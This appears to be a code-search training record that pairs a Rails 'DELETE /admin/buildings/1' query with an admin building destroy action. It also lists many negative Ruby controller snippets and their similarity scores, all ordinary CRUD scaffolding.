"def update\n @building = Building.find(params[:id])\n\n respond_to do |format|\n if @building.update_attributes(params[:building])\n flash[:notice] = 'Building was successfully updated.'\n format.html { redirect_to(@building) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @building.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_building.update(user_building_params)\n format.html { redirect_to @user_building, notice: 'User building was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_building }\n else\n format.html { render :edit }\n format.json { render json: @user_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @built_with.update(built_with_params)\n format.html { redirect_to @built_with, notice: 'Built with was successfully updated.' }\n format.json { render :show, status: :ok, location: @built_with }\n else\n format.html { render :edit }\n format.json { render json: @built_with.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @build.update(build_params)\n format.html { redirect_to @build, notice: \"Build was successfully updated.\" }\n format.json { render :show, status: :ok, location: @build }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @build.update(build_params)\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { render :show, status: :ok, location: @build }\n else\n format.html { render :edit }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_build.update(os_build_params)\n format.html { redirect_to @os_build, notice: 'Os build was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_build }\n else\n format.html { render :edit }\n format.json { render json: @os_build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @listing.update(listing_params)\n @building = @listing.building\n format.html { redirect_to [@building, @listing], notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @building_stage_sub_stage.update(building_stage_sub_stage_params)\n format.html { redirect_to @building_stage_sub_stage, notice: 'Sub stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @building_stage_sub_stage }\n else\n format.html { render :edit }\n format.json { render json: @building_stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_admin_building\n @admin_building = Admin::Building.find(params[:id])\n end",
"def update\n @build_object = BuildObject.find(params[:id])\n @build_object.user = current_user\n respond_to do |format|\n if @build_object.update_attributes(params[:build_object])\n format.html { redirect_to @build_object, notice: 'Объект успешно обновлен.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @apartment = @building.apartments.find(params[:id])\n\n respond_to do |format|\n if @apartment.update_attributes(params[:apartment])\n format.html { redirect_to building_url(@building), notice: 'Apartment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @updateProperties = []\n Property.all.each do |p|\n if @building.half_address == p.buildinginfo\n @updateProperties << p\n end\n end\n @updateTenants = []\n Tenant.all.each do |t|\n if @building.half_address == t.tenantbuildinginfo\n @updateTenants << t\n end\n end\n @updateExpenses = []\n Expense.all.each do |e|\n if @building.half_address == e.buildinginfo\n @updateExpenses << e\n end\n end\n\n respond_to do |format|\n if @building.update(building_params)\n @updateProperties.each do |p|\n p.buildinginfo = @building.half_address\n p.save\n end\n @updateTenants.each do |t|\n t.tenantbuildinginfo = @building.half_address\n t.save\n end\n @updateExpenses.each do |e|\n e.buildinginfo = @building.half_address\n e.save\n end\n format.html { redirect_to @building, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ninja = Ninja.find(params[:id])\n\n respond_to do |format|\n if @ninja.update_attributes(params[:ninja])\n format.html { redirect_to @ninja, notice: 'Ninja was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ninja.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @build_number.update(build_number_params)\n format.html { redirect_to @build_number, notice: 'Build number was successfully updated.' }\n format.json { render :show, status: :ok, location: @build_number }\n else\n format.html { render :edit }\n format.json { render json: @build_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @generation = Generation.find(params[:id])\n\n respond_to do |format|\n if @generation.update_attributes(generation_params)\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
"def update\n @help = Help.find_by_id(1)\n @allbuildings = Building.all\n @allbuildings.each do |b|\n b.gst = @help.gst\n b.qst = @help.qst\n b.save\n end\n \n respond_to do |format|\n if @help.update(help_params)\n format.html { redirect_to @help, notice: 'Help was successfully updated.' }\n format.json { render :show, status: :ok, location: @help }\n #redirect_to action: \"index\"\n else\n format.html { render :edit }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n #redirect_to action: \"index\"\n end\n end\n end",
"def update!(**args)\n @building = args[:building] if args.key?(:building)\n @number = args[:number] if args.key?(:number)\n end",
"def update\n @title = t('view.buildings.modal.involved_building')\n @building = Building.find(params[:id])\n\n if @building.update_attributes(params[:building])\n js_notify message: t('view.buildings.correctly_created'),\n type: 'alert-info js-notify-18px-text', time: 2500\n render partial: 'mobile_interventions/building',\n locals: { building: @building }, content_type: 'text/html'\n else\n render partial: 'edit', status: :unprocessable_entity\n end\n rescue ActiveRecord::StaleObjectError\n redirect_to [\n 'edit', @intervention, @endowment, 'mobile_intervention', @building\n ], alert: t('view.buildings.stale_object_error')\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @admin_room.update(admin_room_params)\n format.html { redirect_to [:admin, @admin_room.building], notice: 'Room was successfully updated.' }\n # format.json { render :show, status: :ok, location: @admin_room }\n else\n format.html { render :edit }\n # format.json { render json: @admin_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @house = House.find(params[:id])\n\n respond_to do |format|\n if @house.update_attributes(params[:house])\n format.html { redirect_to @house, notice: 'Gig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thing = Thing.find(params[:id])\n params[:thing][:place_id] = place_id_from_form\n params[:thing][:owner_ids] = [ ] if params[:thing][:owner_ids].nil?\n params[:thing][:keeper_ids] = [ ] if params[:thing][:keeper_ids].nil?\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to(@thing, :notice => 'Thing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @building_block.update(building_block_params)\n format.html { redirect_to @building_block, notice: 'Building block was successfully updated.' }\n format.json { render :show, status: :ok, location: @building_block }\n else\n format.html { render :edit }\n format.json { render json: @building_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin = Admin.find(params[:id])\n\n if @admin.update(admin_params)\n head :no_content\n else\n render json: @admin.errors, status: :unprocessable_entity\n end\n end",
"def create\n @admin_building = Admin::Building.new(admin_building_params)\n @admin_building.user = current_user\n respond_to do |format|\n if @admin_building.save\n\n @admin_buildings = buildings(current_user)\n\n create_default_service(@admin_building)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_created) }\n format.json { render :show, status: :created, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def update\n @small_generator = SmallGenerator.find(params[:id])\n\n respond_to do |format|\n if @small_generator.update_attributes(params[:small_generator])\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route_builder.update(route_builder_params)\n format.html { redirect_to @route_builder, notice: 'Route builder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @route_builder.errors, status: :internal_server_error }\n end\n end\n\n end",
"def update!(**args)\n @building_id = args[:building_id] if args.key?(:building_id)\n @building_name = args[:building_name] if args.key?(:building_name)\n @current = args[:current] if args.key?(:current)\n @desk_code = args[:desk_code] if args.key?(:desk_code)\n @floor_name = args[:floor_name] if args.key?(:floor_name)\n @floor_section = args[:floor_section] if args.key?(:floor_section)\n @last_update_time = args[:last_update_time] if args.key?(:last_update_time)\n @metadata = args[:metadata] if args.key?(:metadata)\n @source = args[:source] if args.key?(:source)\n @type = args[:type] if args.key?(:type)\n @value = args[:value] if args.key?(:value)\n end",
"def update\n @organization = Organization.find(params[:id])\n @organization.update_attributes(organization_params)\n \n respond_with(@organization, :location => admin_organizations_path)\n end",
"def update\n @admin_village = Admin::Village.find(params[:id])\n\n respond_to do |format|\n if @admin_village.update_attributes(params[:admin_village])\n format.html { redirect_to admin_villages_url, notice: 'Village was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_village.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stuffing_cake.update(stuffing_cake_params)\n format.html { redirect_to @stuffing_cake, notice: 'Stuffing cake was successfully updated.' }\n format.json { render :show, status: :ok, location: @stuffing_cake }\n else\n format.html { render :edit }\n format.json { render json: @stuffing_cake.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n if !owner?(@job)\n flash[:error] = \"Dazu hast du keine Berechtigung!\"\n elsif @job.update_attributes(params[:job])\n ConflictHelper.delete_management(@device, @job.id-1)\n flash[:success] = \"Auftrag wurde erfolgreich geaendert\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n #@opportunity = Opportunity.find(params[:id])\n #@floor = @opportunity.floor\n #@building = @floor.building\n\n respond_to do |format|\n if @opportunity.update_attributes(params[:opportunity])\n flash[:notice] = 'Opportunity was successfully updated.'\n format.html { redirect_to(opportunity_path(@opportunity)) }\n format.xml { head :ok }\n else\n flash[:error] = 'Opportunity could not be updated.'\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @opportunity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_plant\n @plant.deleted = false\n\n respond_to do |format|\n if set_attributes_from_filemaker(@plant)\n format.json do\n render status: :created,\n json: {\n id: @plant.id,\n botanical_name: @plant.botanical_name,\n alternative_names: @plant.alternative_names,\n updated_at: @plant.updated_at,\n visible: ([email protected]).to_s\n }\n end\n else\n format.json do\n render json: @plant.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to things_path, notice: 'Your thing was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @admin.update(admin_params)\n render :show, status: :ok, location: @admin\n else\n render json: @admin.errors, status: :unprocessable_entity\n end\n end",
"def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @requirement.update_attributes(requirement_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_building\n @building = Building.where(id: params[:id]).first\n end",
"def update\n respond_to do |format|\n if @buckle.update(buckle_params)\n format.html { redirect_to admin_buckles_path, notice: 'Buckle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @buckle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_params\n params.require(:building).permit(:name)\n end",
"def destroy\n @admin_building.destroy\n respond_to do |format|\n format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }\n format.json { head :no_content }\n end\n end",
"def update\n @gen = Gen.find(params[:id])\n\n respond_to do |format|\n if @gen.update_attributes(params[:gen])\n format.html { redirect_to @gen, notice: 'Gen was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save!\n client.put_build(app_id: app_id, build_id: id, build: self)\n end",
"def update\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n if @ongoing.update_attributes(params[:ongoing])\n format.html { redirect_to @ongoing, notice: 'Ongoing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ongoing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def admin_building_params\n params.require(:admin_building).permit(:user_id, :parent_id, :code, :name, :description)\n end",
"def update\n # respond_to do |format|\n # if @thing.update(thing_params)\n # format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n # format.json { render :show, status: :ok, location: @thing }\n # else\n # format.html { render :edit }\n # format.json { render json: @thing.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n if @generator.update_attributes(params[:generator])\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_buildingdetail\n @buildingdetail = Buildingdetail.find(params[:id])\n end",
"def update\n if @building.update(update_params)\n if t = params.permit(:tags)[:tags]\n tag_names = t.split(\", \")\n tags = [Tag.create_with(name: \"building\").find_or_create_by(name: \"building\")]\n for n in tag_names\n tags += [Tag.create_with(name: n).find_or_create_by(name: n)]\n end\n @building.tags = tags\n end\n @notice = \"Updated successfully.\"\n render :file => \"#{Rails.root}/public/success\", :layout => false\n else\n @notice = \"Update failed.\"\n render :file => \"#{Rails.root}/public/error\", :layout => false\n end\n end",
"def update\n @job = Job.find(params[:id])\n @job.update({\n name: params[:job][:name],\n description: params[:job][:description],\n origin: params[:job][:origin],\n destination: params[:job][:destination],\n cost: params[:job][:cost],\n containers_needed: params[:job][:containers_needed]\n })\n\n if (@job)\n redirect_to url_for(:controller => :jobs, :action => :index)\n else\n redirect_to url_for(:controller => :jobs, :action => :edit)\n end\n end",
"def update\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n if @api_version.update_attributes(params[:api_version])\n format.html { redirect_to admin_api_versions_path, flash: {success: t('app.msgs.success_updated', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n else\n set_tabbed_translation_form_settings('advanced')\n format.html { render action: \"edit\" }\n format.json { render json: @api_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @grocery = Grocery.find(params[:id])\n\n if @grocery.update(grocery_params)\n head :no_content\n else\n render json: @grocery.errors, status: :unprocessable_entity\n end\n end",
"def update\n @junction = Junction.find(params[:id])\n\n respond_to do |format|\n if @junction.update_attributes(params[:junction])\n format.html { redirect_to @junction, notice: 'Junction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @junction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def set_complex_building\n @complex_building = ComplexBuilding.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @publishing_house.update(publishing_house_params)\n format.html { redirect_to @publishing_house, notice: 'Publishing house was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @publishing_house.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @minor.update(minor_params)\n format.html { redirect_to :show, notice: 'Minor was successfully updated.' }\n format.json { render :show, status: :ok, location: @minor }\n else\n format.html { render :edit }\n format.json { render json: @minor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @floor_stage.update(floor_stage_params)\n format.html { redirect_to @floor_stage, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @floor_stage }\n else\n format.html { render :edit }\n format.json { render json: @floor_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @house.update(house_params)\n format.html { redirect_to @house, notice: 'House was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jogo.update(jogo_params)\n format.html { redirect_to @jogo, notice: 'Jogo was successfully updated.' }\n format.json { render :show, status: :ok, location: @jogo }\n else\n format.html { render :edit }\n format.json { render json: @jogo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @jobtype = Jobtype.find(params[:id])\n\n if @jobtype.update_attributes(params[:unit])\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"def update\n @organization = Organization.find(params[:id])\n\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n format.html { redirect_to admin_organizations_path, notice: \"Organization #{@organization.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @kota_stone.update(kota_stone_params)\n format.html { redirect_to kota_stones_url, notice: 'Kota stone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kota_stone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @tooling_specification = ToolingSpecification.find(params[:id])\n\n respond_to do |format|\n if @tooling_specification.update_attributes(params[:tooling_specification])\n format.html { redirect_to @tooling_specification, notice: 'Tooling specification was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tooling_specification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @species = Species.find(params[:id])\n @species.update_attributes(params[:species])\n \n respond_with(@species, :location => admin_species_path(@species))\n end",
"def update\n respond_to do |format|\n if @jenkins_app_config.update(jenkins_app_config_params)\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully updated.' }\n format.json { render :show, status: :ok, location: @jenkins_app_config }\n else\n format.html { render :edit }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #debugger\n unless @listing.photos.blank? || @listing.photos.find_by_main_photo(true)\n @listing.photos[0].main_photo = true\n @listing.photos[0].save\n end\n\n if @listing.draft\n @listing.draft = false\n notice = 'Listing was successfully created.'\n else\n notice = 'Listing was successfully updated.'\n end\n\n\n if params[:delete_floor_plan]\n @listing.floor_plan.remove_file = true\n @listing.floor_plan._destroy\n @listing.floor_plan.destroy!\n @listing.floor_plan.save\n end\n\n if params[:delete_feature_sheet]\n @listing.feature_sheet.remove_file = true\n @listing.feature_sheet._destroy\n @listing.feature_sheet.destroy!\n @listing.feature_sheet.save\n end\n \n\n\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: notice }\n format.json { head :no_content }\n else\n #debugger\n format.html { \n @photos = @listing.photos\n @listing.build_floor_plan unless @listing.floor_plan.present?\n @listing.build_feature_sheet unless @listing.feature_sheet.present?\n \n\n }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_stories_params\n params.permit(:building_id, data: [:id, :name, :multiplier, :z, :floor_to_floor_height, :floor_to_ceiling_height, :building_id])\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @admin.update(admin_params)\n format.html { redirect_to management_path(@admin), notice: 'Management was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin }\n else\n format.html { render :edit }\n format.json { render json: @management.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"def update\n @construction_job = Construction::Job.find(params[:id])\n\n respond_to do |format|\n if @construction_job.update_attributes(params[:construction_job])\n format.html { redirect_to @construction_job, notice: 'Job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @construction_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_stage.update(admin_stage_params)\n format.html { redirect_to admin_stage_url(@admin_stage.id), notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def update\n @environment = current_user.organization.environments.find(params[:id])\n\n respond_to do |format|\n if @environment.update_attributes(params[:environment])\n format.html { redirect_to @environment, notice: 'Instance record was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @environment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @requirement.update(requirement_params)\n render :show, status: :ok, location: @requirement\n else\n render json: @requirement.errors, status: :unprocessable_entity\n end\n end",
"def update\n @organization.update(organization_params)\n if @organization.save\n render json: { success: \"organization updated successfully\"}, status: :ok\n else\n render json: { errors: @orgnanization.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def update\n apartment = Apartment.find(params[:id])\n apartment.update_attributes(apartment_params)\n render json: apartment\n end",
"def update\n byebug\n respond_to do |format|\n if @job.update(send(\"#{@job.type.underscore.to_sym}_params\"))\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building = Building.new(building_params)\n\n if @building.save\n render json: @building, status: :created, location: @building\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end"
] | [
"0.7186808",
"0.6946763",
"0.6849639",
"0.67995596",
"0.67417",
"0.6717256",
"0.6663899",
"0.655611",
"0.6522339",
"0.6391062",
"0.63199264",
"0.6319528",
"0.63094246",
"0.6290843",
"0.628431",
"0.62813985",
"0.6265373",
"0.625922",
"0.6257474",
"0.61512774",
"0.611435",
"0.6073185",
"0.60033894",
"0.5993769",
"0.5905265",
"0.58754647",
"0.5859675",
"0.584948",
"0.58356553",
"0.5803297",
"0.5793061",
"0.5791042",
"0.576547",
"0.576547",
"0.576547",
"0.576547",
"0.5758407",
"0.5751684",
"0.5746065",
"0.5739319",
"0.5735588",
"0.5732321",
"0.5708535",
"0.5696684",
"0.5689689",
"0.5644407",
"0.5641756",
"0.5639058",
"0.5635212",
"0.5613278",
"0.5598888",
"0.55935776",
"0.5591224",
"0.5576992",
"0.55715334",
"0.55618846",
"0.5560757",
"0.55592555",
"0.55586135",
"0.5556827",
"0.5543521",
"0.5536353",
"0.5532712",
"0.55321246",
"0.55206907",
"0.5507859",
"0.5507529",
"0.5506813",
"0.54982966",
"0.54932797",
"0.5490223",
"0.5488604",
"0.5488537",
"0.54851204",
"0.54806787",
"0.54701966",
"0.5464669",
"0.5461581",
"0.54611504",
"0.54603964",
"0.54602057",
"0.54586947",
"0.5453055",
"0.5450846",
"0.5447221",
"0.54419816",
"0.54361886",
"0.5431511",
"0.5430692",
"0.54303247",
"0.5423539",
"0.54215467",
"0.54211134",
"0.5416708",
"0.54127604",
"0.54096216",
"0.5406014",
"0.5405345",
"0.5399317",
"0.53978467"
] | 0.72366863 | 0 |
DELETE /admin/buildings/1 DELETE /admin/buildings/1.json | def destroy
@admin_building.destroy
respond_to do |format|
format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @building = Building.find(params[:id])\n @building.destroy\n\n head :no_content\n end",
"def destroy\n @building = Building.find(params[:id].to_i)\n @building.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, notice: 'Building destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_type = BuildingType.find(params[:id])\n @building_type.destroy\n\n respond_to do |format|\n format.html { redirect_to building_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, notice: 'Building was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, notice: \"Building was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@building = Building.find(params[:id])\n @building.destroy\n\n respond_to do |format|\n format.html { redirect_to(buildings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n the_name = @building.name\n unless session[:current_building].nil?\n session[:current_building] = nil if session[:current_building].to_i == @building.id.to_i\n end\n @building.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, status: 303, notice: t('.delete_ok', item: the_name) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @complex_building.destroy\n respond_to do |format|\n format.html { redirect_to complex_buildings_url, notice: 'complex_building was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @build.destroy\n respond_to do |format|\n format.html { redirect_to builds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building = Building.find(params[:id])\n @building.destroy\n\n respond_to do |format|\n format.html { redirect_to(buildings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @build = Build.find(params[:id])\n @build.destroy\n\n respond_to do |format|\n format.html { redirect_to builds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @build = Build.find(params[:id])\n @build.destroy\n\n respond_to do |format|\n format.html { redirect_to builds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @buildingdetail.destroy\n respond_to do |format|\n format.html { redirect_to buildingdetails_url, notice: \"Buildingdetail was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_id = @unit.building_id\n @unit.destroy\n respond_to do |format|\n format.html { redirect_to building_path(@building_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_type = BuildingType.find(params[:id])\n @building_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(building_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @build.destroy\n respond_to do |format|\n format.html { redirect_to builds_url, notice: 'Build was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @build.destroy\n respond_to do |format|\n format.html { redirect_to builds_url, notice: \"Build was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @os_build.destroy\n respond_to do |format|\n format.html { redirect_to os_builds_url, notice: 'Os build was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @built_with.destroy\n respond_to do |format|\n format.html { redirect_to built_withs_url, notice: 'Built with was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_building.destroy\n respond_to do |format|\n format.html { redirect_to user_buildings_url, notice: 'User building was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n resource_instance_variable.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, notice: 'Building was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n building_id = @wing.building_id\n wing_name = @wing.name\n @wing.destroy\n respond_to do |format|\n format.html { redirect_to building_url(building_id), status: 303, notice: t('.delete_ok', item: wing_name) }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_to do |format|\n if @featured_building.destroy\n format.html { \n redirect_to destroy_redirect_url, notice: 'Featured building was successfully deleted.' \n }\n format.json { head :no_content }\n else\n flash[:error] = @featured_building.errors.messages[:base][0]\n format.html { redirect_to destroy_redirect_url }\n end\n end\n end",
"def destroy\n @admin_room.destroy\n respond_to do |format|\n format.html { redirect_to admin_building_path(params[:building_id]), notice: 'Room was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @build_object = BuildObject.find(params[:id])\n @build_object.archive!\n\n respond_to do |format|\n format.html { redirect_to build_objects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end",
